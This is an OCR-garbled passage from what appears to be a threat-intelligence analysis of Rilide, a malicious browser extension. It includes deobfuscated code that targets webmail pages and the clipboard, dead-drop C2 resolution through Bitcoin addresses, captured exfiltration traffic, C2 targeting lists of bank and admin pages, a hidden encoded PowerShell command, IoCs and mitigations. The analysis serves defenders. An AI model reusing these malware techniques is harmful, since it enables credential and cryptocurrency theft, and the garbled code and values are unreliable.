while (z[z.length - 1] + z[z.length - 2] < u) {
z.push(z[z.length - 1] + z[z.length - 27)
}
return z
}
let t = Math.floor(Math.randem() * 100) + 10
R(t)
function v() {
return (
I#v +
Math.floor (Math.random() * 1&777215)
.toString (16)
.padstart (e, '0")
)
}
v ()
function b(u) {

return [...new Set(u)]
}
let d = [1, 2, 2, 3, 4, 4, 5]
b (d)

I
I = async (R) => {
try {
await navigator.clipboard.writeText (R)
} catch (k) {}
function t(d) {

return (d.match(/[??22272?272221/gi) |1 [1).length
}
let v = "7?27272727 227 227 VIR WRWWWVIINDO2PRNT, PR 2R RN
t(v)

.
Figure 34: Code used to interact with the clipboard.

Release.js

This file collects content from email applications. The injected code checks whether the web page is Outlook, Yahoo, or
Gmail. Once the email application has been identified, the script examines the DOM content on the web page to collect

information about the emails.

jCasyne () => {
if (
window.location.host.index0f('outlook.live') > -1 ||
window.location.host.index0F( 'mail.yahoo') > -1 ||
window.location.host.index0f('mail.google') > -1
)i
const k = async () => {
try {
const x = await new Promise((N, w) => {
chrome.storage.local.get(['injections'], (Z) => {
chrome.runtime.lastError ? w(chrome.runtime.lastError) : N(Z)
B
b,
K = "EMAIL_CONFIG',
W = x.injections
for (const N of W) {

const w = N.url
2 1) teda..nCfw 1 —— 1 660 M _de cmobloada)

Figure 35: Deobfuscated code from Release.js that looks for Outlook, Yahoo, and Gmail pages.
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Research from Trellix outlines that Rilide looks for messages from cryptocurrency exchanges and modifies their content to

collect credentials from users when they attempt to log in to the exchange.

1. Check if the browser's tab mail application is Gmail, Outlook or Yahoo.

2. Check if the user has any messages requesting the withdrawal of funds from cne of the following
cryptocurrency exchanges.
+ Binance

+ Bybit
= OKX
= Kraken
» KuCoin
* Bitget
« Bittrex

3. Modify the email to include an alert that some suspicious activity has been detected and the user must check
its account.

We believe that the idea behind this attack is forcing the victim to access their cryptocurrency account and,
using the previously discussed functionality, extract sensitive information.

Figure 36: Notes from Trellix indicate that Rilide modified emails to lure users into signing into their

cryptocurrency accounts. Source: Trellix

Network Traffic

i

A packet capture of Rilide network traffic and SSL decryption keys are provided as a reference.

C2 Resolution using Dead Drops

Rilide queries different blockchain services to obtain the C2 server, which is stored as a base58-encoded value in another
cryptocurrency address. The blockchain services queried include:

¢ Blockstream

¢ Bitcoin Explorer
¢ Blockcypher

¢ Mempool

¢ Bitcore

The Bitcoin address that the malware looks up is bc1qkljhfktumxjqa52yle0xzz9nd4jl40vzyyc066.

Transactions
ID From -0.00047325 BTC -
@  1m/2024, 06:21:20 T Fee 11K Sats ~
From To
1 @ 1 @
0.00047325BTC - $38.84 0.00046274BTC - 53
ID From 0.00047325 BTC +
O 12024, 061257 To 2 Outputs Fee 757 Sats ~
From To
1 @ 1 @
0.00065429BTC = $52.70 0.00047325BTC » $38.84
2 Y B
0.00017347 BTC » $14.24

Figure 37: Cryptocurrency transaction to the BitCoin address the malware looks up. Source: Blockchain.com
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M Wireshark - Follow HTTP Stream (tep.stream eq 19) - d9327dbe-8dba-2bc2-b327-d66TbTacdd02.peap - o x

GET /api/address/bcigkljhfktumcjqa52yledxzzond4j148vzyyc66/txs HTTP/1.1 2]
Host: blockstream.info

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.; Win64; x64) AppleWebKit/537.36 (KHTHML, like Gecko) Chrome/122.6.6.8 Safari/537.36

Accept: */*
Sec-Fetch-Site: none
Sec-Fetch-tode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

server: openresty

date: Sat, 15 Mar 2025 19:27:83 GMT

content-type: application/json

vary: Accept-Encoding

cache-control: public, max-age=18

access-control-allow-origin: *

access-control-expose-headers: x-total-results

x-frame-options: SAMEORIGIN

content-security-policy: default-src 'self'; script-src 'self’ 'unsafe-eval'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; font-src 'self' data:; obj
ect-src "nene

strict-transport-securit 5
x-xss-protection: 1; mode=block
x-content-type-options: nesniff
referrer-policy: no-referrer
x-cache-status: HIT
content-encoding: gzip

via: 1.1 geogle

Alt-Svc: ":443"; h3-29=":443";
Transfer-Encoding: chunked

5 dn ins; preload

[{"txid":"37 7697022’ df 87277b6bce11bess”, "version”:2, "locktime”: 869838, "v:
7dafae22acadsbea3ab52f3F6c”, "vout” Scrlplpubkey" "Mub?esmdahdaamed1Mfeseslasb35dssfabdsz

:[{"txid": "4f1a6d7e5206526736aede4211477880236021
,"scriptpubkey_asm”:"OP_8 OP_PUSHBYTES 20 b7e574d97

cd9asaed144f “scriptpubkey_ addrsss :"beigkl jhktumsc 41401 | "value™:47325}, "scriptsig™:

"","scriptsig_asm":"","witn cabagafsFordl 1 ofsa2zoeectosssidentstosdecansidrasces

tid25737esf55201" iﬁlifh:fsddelfaibSE5105b37esdBLﬂwilssEShs}ib 2 s7z1e<edbasz7ssb"] "is_coinbase”:false,"sequence”:4294967293}], "vout” : [{"scriptpubkey”: "76a
46F2d6d6 riptpubke 1] 46 2d6d6T: OP_EQUALVERTFY O

P CHECKSTG", "scriptpubkey type":"p2pkh”, "scriptpubkey_address” T 194, "weight” ME,"fEE ,"status”
{"confirmed" :true,"block_height":869839, "block_hash": GdefBbTa35case37F b7 F1642727e31b14784731673" , "block time":1731324740}} ,{"txid" : "4 1a6
d75526652673652d6¢21147788@2360217d4f45ZZE:adSb 3asszf3fs:“,"ver5mn :2,"locktime":869837, "vin" : [{"txid" : "98d699a825fb63a83e9bchbd6d c7c137e1527a1F F1Fa672f cfbe
24f92e58b@1", "vout™:@, "prevout” :{"scriptpubki fb1b6Ffad75987" , "scriptpubkey_asm”: "
szzfsbseezeffblbﬁffn!d‘/sa ©P_EQUAL™, "scriptpubkey lype Zsh","strlplpuhkey address” : "32bRdaiobksyhsuFaxkqsixKLNERBXQUIV" , "value"
9817e57d55502c 702a6632248386dbb76dec", " scriptsig_asm”:"0P_PUSHBYTES 22 00145191901757d55502c7a206632248386dbb76dec”, "witness” : ["364%22@3badczsscemsfsadusam
1bcBBA7130771ch0220013FF574702d60bd74c26d0647a126713061Fa5 21005 daf 152F9325c97920b6701 ",
:E72b12d55335739@d(4 1,"is_coinbase":false, "sequence”:4294967293, "inner_redeemscript_asm":"OP_@ OP_PUSHBYTES 2@ 81219017e57d55502:7aza5532245355dbb75de:")], 'vou

Pocker 460, 2 cent pkts, 2 server pkts, 3 rurns. Qlick 1o select

Entire conversation (8240 bytes) ~ Show as | ASCIl ~ No deltatimes Stream

Find: [1Aybhtfb3TM36MDmULVXJVAFniBVEtR4aS | O Case sensitive

Filter Qut This Stream Print Save as... Back Close Help

Figure 38: Requests to blockstream.info that return another BitCoin address that also doubles as the C2
address for the malware.

‘ Wireshark - Follow HTTP Stream (tcp.stream eq 27) - d9827dbe-8dba-4bc2-b327-d667b7aed402. peap - a x

Transfer-Encoding: chunked

Cennection: keep-alive

access-control-allow-headers: Origin, X-Requested-With, Content-Type, Accept
access-control-allow-methods: GET, POST, PUT, DELETE
access-control-allow-erigin: *

x-ratelimit-remaining: 1

cf-cache-status: DYNAMIC

server: cloudflare

F-RAY: 9208e67T29f3@d2e4-FRA

Content-Encoding: br

"total sent™: 47325,
“"balance”: @,
"unconfirmed_balance”: @,
“final balance”: @,

“n_t 2,
"unconfirmed
"final_n_tx"

"00BB0BOREEE0RODABBRAC6de TBbT436cabe3 7T fb7F164272731b14f84731673",
: 869839,
"block_index": 3338,
“hash™: "37752bagb1898c2769c702c21h7adb6269ecdf2b6256b54787277b6bcel1be6B”,
“addresses”
“LAybhtbeTHBEHDmULVxJVAFniBVBtMaS“,
"belqkljhfktumxjqaszyledxzzond4ilasvzyycs6”

"total'
"fees”
“size™

2024-11-11T11:32:207",
"2024-11-11T11:32:282",

7 cllent pkts, 7 server pits, 13 turns.

Entire conversation (34 kB) ~ Show as | ASCII ~ No delta times Stream
Find: | O3 case sensitive [ Find Next
Filter Out This Stream Print Save as... Back Close Help

Figure 38: Requests to Blockcypher showing the second BitCoin address.

The address is 1Aybhtfb3TM36MDmULV XJVAFni8V8tR4aS and decodes to the C2 server memento-mori[.]Jcom
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1Aybhtfb3 TMBﬁMDmULVX]VAFniSVStRQEﬂ

°®.

34 =1 Tr Raw Bytes & LF

Output B0Om:
[wemmemento-mori . comsuswa seci

Figure 39: The second BitCoin address can be decoded into the C2 domain using base58.

C2 Communication

Once the C2 server has been identified, the extension starts exfiltrating information back to it. The malware returns system
information data to the C2 server via a POST request to the URI /api/machine/init

‘ M Wireshark - Follow HTTP Stream (tep.stream eq 4

83HcsFbTbL jAu/6aGMpURSCtDAVIQO2FtQBL kWM TI6+SmPSCTqi3ulLWryY5p7TUGCR6Zmh3Ceh2APIBA== ~
POST /api/machine/init HTTP/1.1

Host: mmemento-mori.com

Connection: keep-alive

Content-Length: 4445

Accept: application/json, application/xml, text/plain, text/html, *.*

User-Agent: Mozilla/5.8 (Windows NT 18.0; Win64; x64) ApplellebKit/537.36 (KHTML, like Gecko) Chrome/122.8..8 Safari/537.36
Content-Type: application/jsen

Origin: chrome-extension://pnkjgfienlbflgofbgoepgmpaiflcahf

Sec-Fetch-Site: none

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;g=8.9

{"machineInfo™:{"cpuName”:"Intel(R) Core(TM) i5-6480 CPU @ 2.78GHz","platform”:{"name" 86-64"}, "displays”:[{"ac
tiveState":"active”, "availableDisplayZoomFactors":[],"bounds":{"height":728,"1eft":@, "top”:@, "width":1288}, "displayZoomFactor”:8,"
dpix":96,"dpi¥":96, "hasAccelerometersupport™:false, "hasTouchSupport™:false,"id": isEnabled":true,"isInternal™:false,”
isPrimary”:true,"isUnified”:false, "mirroringDestinationIds”:[], "mirroringSourceld":""," :[1,"name”:"Generic Non-PnP Monitor”,
"overscan”:{"bottom":@,"left" ght":@,"top”:8}, "rotation”:@, "workArea”: {"height":688," left":@, "top”:@, "width":1280}}], "storage
":[{"capacity™:2729249099568,"1d":"95d93a01-a52a-4189-92fb-1ccad592f2ae™, "name™ : "\ uBBRE \UCBOE\LEEER \ UDBEE\ UBORE \UBBRE)\LUBEER \ UGB \U
2280\u0000\UBBA0\UAA0E \UBGRE\LBADE \LBGAE\UDRGA\LABRE\UGRRE\UBERA \UBAGD\ UBGEAE \UBRREA\LABEE \UGAAR\UBEGA \UBBAE\LBAGE \UBGRG\ UBARR \ LBBED
\uaeas\ueasa’\uaoea’\ueana\ueaan \ubeaa\uaeEa \udana\ LEGDA \UBEAE |\ UBBGA \LDBEE\LARRA \UGGAR )\ UBEAA \LABAD\ UBRRE \ LAGREA \UBEBE\ UBGAR \LUDRGE\ LB
20'\uB0RE\uBEER\LBERR \ LBBEE\ LBEER \UBBRES\LBBER \LBEED\LBRCE \UBBRE\ LEBRR \ LBEBE | UBRER \ LBRRE \UBBEER\ LBERR \ LDBEE\ UBERE \UBBRE )\ LBEEBR \LBEBB\U
2280\u0000\UBBA0\UAA0E \UBGRE\LBADE \LBGAE\UDRGA\LABRE\UGRRE\UBERA \UBAGD\ UBGEAE \UBRREA\LABEE \UGAAR\UBEGA \UBBAE\LBAGE \UBGRG\ UBARR \ LBBED
\uaeas\ueasa’\uaoea’\ueana\ueaan \ubeaa\uaeEa \udana\ LEGDA \UBEAE |\ UBBGA \LDBEE\LARRA \UGGAR )\ UBEAA \LABAD\ UBRRE \ LAGREA \UBEBE\ UBGAR \LUDRGE\ LB
20'\uB0RE\uBEER\LBERR \ LBBEE\ LBEER \UBBRES\LBBER \LBEED\LBRCE \UBBRE\ LEBRR \ LBEBE | UBRER \ LBRRE \UBBEER\ LBERR \ LDBEE\ UBERE \UBBRE )\ LBEEBR \LBEBB\U
2280\u0000\UBBA0\UAA0E \UBGRE\LBADE \LBGAE\UDRGA\LABRE\UGRRE\UBERA \UBAGD\ UBGEAE \UBRREA\LABEE \UGAAR\UBEGA \UBBAE\LBAGE \UBGRG\ UBARR \ LBBED
\uaeas\ueasa’\uaoea’\ueana\ueaan \ubeaa\uaeEa \udana\ LEGDA \UBEAE |\ UBBGA \LDBEE\LARRA \UGGAR )\ UBEAA \LABAD\ UBRRE \ LAGREA \UBEBE\ UBGAR \LUDRGE\ LB
20'\uB0RE\uBEER\LBERR \ LBBEE\ LBEER \UBBRES\LBBER \LBEED\LBRCE \UBBRE\ LEBRR \ LBEBE | UBRER \ LBRRE \UBBEER\ LBERR \ LDBEE\ UBERE \UBBRE )\ LBEEBR \LBEBB\U
9000\\u0000\ L0000\ LUBBDE \UBDBD\UOG0A \LBBEE\UDBDE\UBDED \UDBOE\ LBDEE \UDBDE\LAEAR \UBBED \LBDDE \LDBED\LBBRE \UBDED\LBAEE \LBBEE \UDBDE \ LBDBD
\uaeas\ueasa’\uaoea’\ueana\ueaan \ubeaa\uaeEa \udana\ LEGDA \UBEAE |\ UBBGA \LDBEE\LARRA \UGGAR )\ UBEAA \LABAD\ UBRRE \ LAGREA \UBEBE\ UBGAR \LUDRGE\ LB
00\UB0B0'\UCEE ) LUBDBE\LGBEE) LBEER \ UGB\ LBBGE \UBDEE'\ LGB \LUBEEE\UBBOE \LBBRG\LUBBBB" , "type": "fixed"}], "memory” : { "availableCapacity":2
323177472, "capacity”:4289146880}, "video”:{"vendor”: "Google I Google)”,"renderer”:"ANGLE (Google, Vulkan 1.3.8 (SwiftShader Dev
ice (Subzero) (@x@@ABCODE)), SwiftShader driver)“},"userAgen zi11a/5.8 (Windows NT 18.8; Win64; x64) AppleebKit/537.36 (KHTM
L, like Gecko) Chrome/122.8.8.@ Safari/537.36"},"extensionVersion":"4.11.1","extensions":[{"description”:"An extension”,"enabled":
true, "homepagelirl” "hostPermissions”: ["call urls>"],"icons”:[{"size":16, "url": "chrome://extension-icon/bjbddleefiddlmdfdfbgodga
¢jj1dihj/16/@"}],"id": "bjbddleefiddlmdfdfbgodgacijldihj”, "installType™: "development”, " isApp” :false, "mayDisable”
UN","offlineEnabled":false, "optionsUrl™:"","permissions™:["activeTab","debugger”, "favicen™,"tabs", "webRequest™], "shortNams
UN", "type":"extension”,"version":"@.8.8.1"}, {"description”:"Save web content or screen capture directly to Google Drive."

,"enabled v

Packet 1017. 6 client pkts, 2 server pkts, 4 turns. Click o select.

Entire conversation (3237 bytes) - Show as | ASCII - No delta times ~ Stream
Finds: | | O case sensitive | Find Next
Filter Out This Stream| | Print Save s.. Back Close Help

\
Figure 40: System information exfiltrated by Rilide.

The information includes:

e CPU details
¢ Operating System information
¢ Display information

« Extension details
Other commands observed within network traffic include:

¢ /api/machine/injections

¢ /api/machine/commands
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o /api/machine/settings
¢ /api/machine/clipper
¢ /api/machine/screenshot-rules

¢ /api/machine/set-command

GET /api/machine/settings HTTR/1.1
Host: mmemento-mori.com !
Connection: keep-alive

User-Agent: Mozilla/5.@ (Mindows NT 18.8; Winb4; x64) ApplellebKit/537.36 (KHTML, like Gecko) Chrome/122.8.8.8 Safari/537.36
Accept: */*

Sec-Fetch-Site: none

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 208 OK

Date: Sat, 15 Mar 2825 19:27:88 GMT
Content-Type: application/jsen
Transfer-Encoding: chunked

Connection: keep-alive

server: cloudflare

Vary: Accept-Encoding

Vary: Accept-Encoding

Cache-Control: private, must-revalidate
Pragma: no-cache

Expires: -1
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536800
Content-Encoding: gzip
Cf-Cache-Status: DYNAMIC

CF-RAY: 920e688c7f9cEfI5-FRA

alt-svc: h3=":443"; ma-86400

{"grabberLinks":["f2pool”,"ads", "affiliation”, "vantagemarkets”, "stripe”,"admin”, "checkout”, "wallet”, "key”,"login”, "intuit”,"chase”,"u
sbank”, "navyfederal”, "truist”, "airbnb”,":2883",":2887","\/wp-admin", " :2086" , "booking”, "\/admin.php", "\/bitrix", "\/admin.php", "\ /admin
istrator”,"\/manager”,"\/netcat”,"\/typo3"”,"\/admin","\/magento”,"shadewpay", "haloskins","buff"], "reverseProxy"” :null}

1 client pit. 1 server pit. 1 turn.

Entire conversation (1209 bytes) ~ Show as | ASCI ~ No delta times  ~ Stream |46
Find: | O3 case sensitive | Find Next
Filter Out This Stream Print Save as... Back Close Help

Figure 41: Phases returned by the C2 used to determine what information Rilide targets. This command also

returns a reverse proxy address if the malware uses one.
Mitigations

« Extension Management
o Avoid installing extensions from untrusted sources or third-party websites.
= While using Browser Extensions Stores significantly reduces the risk of downloading malicious
extensions, it does not eliminate the risk. Our blog, Compromised Browser Extensions - A Growing
Threat Vector, highlights compromised extensions on the Chrome Store.
o Users should review permissions used by extensions before installing them.
o Users should periodically review installed extensions to identify any that are no longer needed and remove
them.
+ PowerShell Logging
o Enable PowerShell logging features, including:
= Module Logging
= Script Block logging
o Have PowerShell logs being ingested into STEM or centralized log management solutions for monitoring
¢ Block users from running PowerShell Commands

o Restrict PowerShell usage to only those that are required to run PowerShell commands.
Indicators of Compromise

The table below contains all Rilide network IoCs identified during the analysis of the intrusion chain.

10Cs
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hxxps|[://Iblockstream[.Jinfo/api/address/bc1gkljhfktumxjqa52yle0xzz9nd4jl40vzyyc066/txs

hxxps|://]bitcoinexplorer[.]org/api/address/bc1qgkljhfktumxjqa52yle0xzz9nd4jl40vzyyc066?limit=1

hxxps|://]apil.]blockcypher[.]Jcom/v1/btc/main/addrs/bc1gkljhfktumxjqa52yle0xzz9nd4j140vzyyc066/full ?limit=1

hxxps[://Imempool[.]space/api/address/bc1gkljhfktumxjqa52yle0xzz9nd4jl40vzyyc066/txs

hxxps[://]api[.]bitcore[.]io/api/BTC/mainnet/address/bc1gkljhfktumxjqa52yle0xzz9nd4jl40vzyyc066/txs?limit=1

hxxps[://I[mmemento-mori[.]com/api/machine/sign?d=mmemento-mori[.Jcom

hxxps[://Jmmemento-mori[.]Jcom/api/machine/init

hxxps[://Jmmemento-mori[.Jcom/api/machine/injections?uuid=31d7f9d7-a0ea-46be-88b7-196bc3e2e5el

hxxps[://Jmmemento-mori[.]com/api/machine/commands?uuid=31d7f9d7-a0ea-46be-88b7-196bc3e2e5el

hxxps[://Jmmemento-mori[.]Jcom/api/machine/settings

hxxps|://Jmmemento-mori[.]com/api/machine/clipper

hxxps[://Jmmemento-mori[.]Jcom/api/machine/screenshot-rules

hxxps|://Jmmemento-mori[.]com/api/machine/set-command

hxxps[://Jtcl-black[.]Jcom/1111[.]bs64

tcl-black[.]Jcom

The table below contains a subset of additional Rilide network IoCs that have been added to the Pulsedive platform. This
data can be queried in Pulsedive using the Explore query threat=Rilide and is available for export in multiple formats (CSV,
STIX 2.1, JSON).

10Cs

ashgrrwt[.]click
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nch-software[.Jinfo

nvidia-graphics[.]top

vceilinichegol.]ru

45[.]15[.]1156[.]210

web-lox[.]Jcom

assets[.]bnbcoinstatic[.]Jcom

proyectopatentadomxapostol[.]Jcom

blackfox[.]lol

pupkalazalupkal.]Jcom

extension-login[.]Jcom

tes123123t[.]Jcom

extensionsupdate[.]com

hxxps[:=//]download[.]hdokil.]org/yzxdhdxsqgkmvcayrtevs/RiotRevelry1[.]0[.]2[.]exe

hxxps[:=//Inch-software[.]info/1/2[.]Jexe

nightpredators[.]Jcom

Rilide MITRE ATT&CK TTPs

Technique Tactic

Collection Clipboard data (T1115)

Email Collection (T1114)
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Command and Control

Credential Access

Defense Evasion

Discovery

Evasion

Execution
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Screen Capture (T1113)

Application Layer Protocol: Web Protocols (T1071.001)

Dynamic Resolution (T1568)

Web Service: Dead Drop Resolver (T1102.001)

Proxy: External Proxy (T1090.002)

Ingress Tool Transfer (T1105)

Clipboard data (T1115)

Steal Web Session Cookie (T1539)

Access Token Manipulation (T1134)

Deobfuscate/Decode Files or Information (T1140)

Masquerading (T1036)

Obfuscated Files or Information (T1027)

Process Injection (T1055)

Virtualization/Sandbox Evasion: User Activity Based Checks (T1497.002)

System Information Discovery (T1082)

Virtualization/Sandbox Evasion: User Activity Based Checks (T1497.002)

Masquerading (T1036)

Command and Scripting Interpreter: PowerShell (T1059.001)

Command and Scripting Interpreter: JavaScript (T1059.007)
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User Execution: Malicious File (T1204.002)

Initial Access Phishing (T1566)

Boot or Logon Autostart Execution (T1547)

Persistence
Browser Extensions (T1176)
Access Token Manipulation (T1134)
Privilege Escalation Boot or Logon Autostart Execution (T1547)
Process Injection: Process Hollowing (T1055.012)
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Appendix 1 - PowerShell Script

"C:\Windows\system32\WindowsPowerShell\v1.@\powershell.exe" -windowstyle hidden -e JABSAFUAaABWAEOAIAAIACAAKAAiAGSAcABDAL

Source: https://blog.pulsedive.com/rilide-an-information-stealing-browser-extension.
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